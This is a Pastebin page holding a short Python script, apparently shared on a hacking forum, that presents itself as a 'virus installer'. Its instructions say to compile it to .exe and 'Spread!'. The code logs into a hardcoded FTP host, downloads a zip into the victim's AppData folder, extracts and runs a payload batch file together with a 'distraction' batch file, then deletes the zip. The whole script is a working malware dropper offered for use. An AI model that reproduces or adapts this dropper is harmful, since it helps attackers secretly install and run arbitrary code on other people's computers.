Guest User

Untitled

a guest
Feb 28th, 2018
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.90 KB | None | 0 0
  1.                 ######################################################
  2.                 #       Rhynorater's Virus Installer V1              #
  3.                 ######################################################                                          
  4.                 # Contact Information:                               #
  5.                 # Bug report - footbllownz@verizon.net               #
  6.                 # Features advice - Hackforums PM                    #
  7.                 #                                                    #
  8.                 #                   Instructions                     #
  9.                 #                                                    #
  10.                 # Fill in your info in the "Information" function.   #
  11.                 # Pack your files into a zip file and upload to ftp. #
  12.                 # Use The-Hydra's Py converter to make this .exe.    #
  13.                 # Spread!                                            #
  14.                 ######################################################
  15.  
  16.  
  17.  
  18. from ftplib import FTP
  19. import os, getpass, sys
  20. import zipfile
  21. import subprocess
  22.  
  23. class RVI:
  24.     def information(self):
  25.         #Below are examples. Please enter your own information.
  26.         host = 'ftp.drivehq.com'
  27.         username = 'jgghacker'
  28.         password = 'pytesting'
  29.         filename = 'Virus Example.bat'
  30.         filename2 = 'Distraction.bat'
  31.         zipfilename = 'Virus zip.zip'
  32.         user = getpass.getuser()
  33.  
  34.         self.get_data(host, username, user, password, zipfilename,filename2, filename)
  35.  
  36.     def get_data(self,host, username, user, password, zipfilename,filename2, filename):
  37.         ftp = FTP(host,username, password)
  38.         l_zipfile = open("C:\\Users\\%s\\appdata\\"% user +zipfilename, 'wb')
  39.         ftp.retrbinary('RETR ' + zipfilename, l_zipfile.write)
  40.         l_zipfile.close()
  41.         ftp.close()
  42.         self.extract_program(user, zipfilename,filename2, filename,)
  43.  
  44.  
  45.     def extract_program(self,user,zipfilename,filename2, filename,):
  46.         if os.path.exists('C:\\Users\\%s\\appdata\\LocalHigh'% user):
  47.             pass
  48.         else:
  49.             os.mkdir("C:\\Users\\%s\\appdata\\LocalHigh"% user)
  50.         zip_file = zipfile.ZipFile("C:\\Users\\%s\\appdata\\"% user + zipfilename, 'r')
  51.         zip_file.extract(filename, "C:\\Users\\%s\\appdata\\LocalHigh"% user)
  52.         zip_file.extract(filename2, "C:\\Users\\%s\\appdata\\LocalHigh"% user)
  53.         zip_file.close()
  54.         self.execute_program(filename,zipfilename,filename2, user)
  55.  
  56.     def execute_program(self,filename,zipfilename,filename2, user):
  57.         subprocess.call(["C:\\Users\\%s\\appdata\\LocalHigh\\%s"%(user, filename2)])
  58.         subprocess.call(["C:\\Users\\%s\\appdata\\LocalHigh\\%s"%(user, filename)])
  59.         os.system('del "C:\\Users\\%s\\appdata\\%s"'%(user, zipfilename))
  60.  
  61.  
  62. app = RVI()
  63. app.information()
Add Comment
Please, Sign In to add comment